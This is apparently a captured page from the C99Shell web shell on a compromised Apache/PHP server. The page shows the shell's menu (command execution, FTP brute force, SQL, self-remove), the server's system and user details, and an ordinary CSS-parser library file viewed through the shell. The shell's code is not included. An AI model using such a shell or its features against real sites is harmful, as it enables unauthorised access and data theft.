!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/sabberworm/php-css-parser/lib/Sabberworm/CSS/Property/   drwxr-xr-x
Free 13.12 GB of 57.97 GB (22.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Selector.php (1.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Sabberworm\CSS\Property;

/**
 * Class representing a single CSS selector. Selectors have to be split by the comma prior to being passed into this class.
 */
class Selector {

    
//Regexes for specificity calculations
    
const NON_ID_ATTRIBUTES_AND_PSEUDO_CLASSES_RX '/
    (\.[\w]+)                   # classes
    |
    \[(\w+)                     # attributes
    |
    (\:(                        # pseudo classes
        link|visited|active
        |hover|focus
        |lang
        |target
        |enabled|disabled|checked|indeterminate
        |root
        |nth-child|nth-last-child|nth-of-type|nth-last-of-type
        |first-child|last-child|first-of-type|last-of-type
        |only-child|only-of-type
        |empty|contains
    ))
    /ix'
;

    const 
ELEMENTS_AND_PSEUDO_ELEMENTS_RX '/
    ((^|[\s\+\>\~]+)[\w]+   # elements
    |
    \:{1,2}(                # pseudo-elements
        after|before|first-letter|first-line|selection
    ))
    /ix'
;

    private 
$sSelector;
    private 
$iSpecificity;

    public function 
__construct($sSelector$bCalculateSpecificity false) {
        
$this->setSelector($sSelector);
        if (
$bCalculateSpecificity) {
            
$this->getSpecificity();
        }
    }

    public function 
getSelector() {
        return 
$this->sSelector;
    }

    public function 
setSelector($sSelector) {
        
$this->sSelector trim($sSelector);
        
$this->iSpecificity null;
    }

    public function 
__toString() {
        return 
$this->getSelector();
    }

    public function 
getSpecificity() {
        if (
$this->iSpecificity === null) {
            
$a 0;
            
/// @todo should exclude \# as well as "#"
            
$aMatches null;
            
$b substr_count($this->sSelector'#');
            
$c preg_match_all(self::NON_ID_ATTRIBUTES_AND_PSEUDO_CLASSES_RX$this->sSelector$aMatches);
            
$d preg_match_all(self::ELEMENTS_AND_PSEUDO_ELEMENTS_RX$this->sSelector$aMatches);
            
$this->iSpecificity = ($a 1000) + ($b 100) + ($c 10) + $d;
        }
        return 
$this->iSpecificity;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--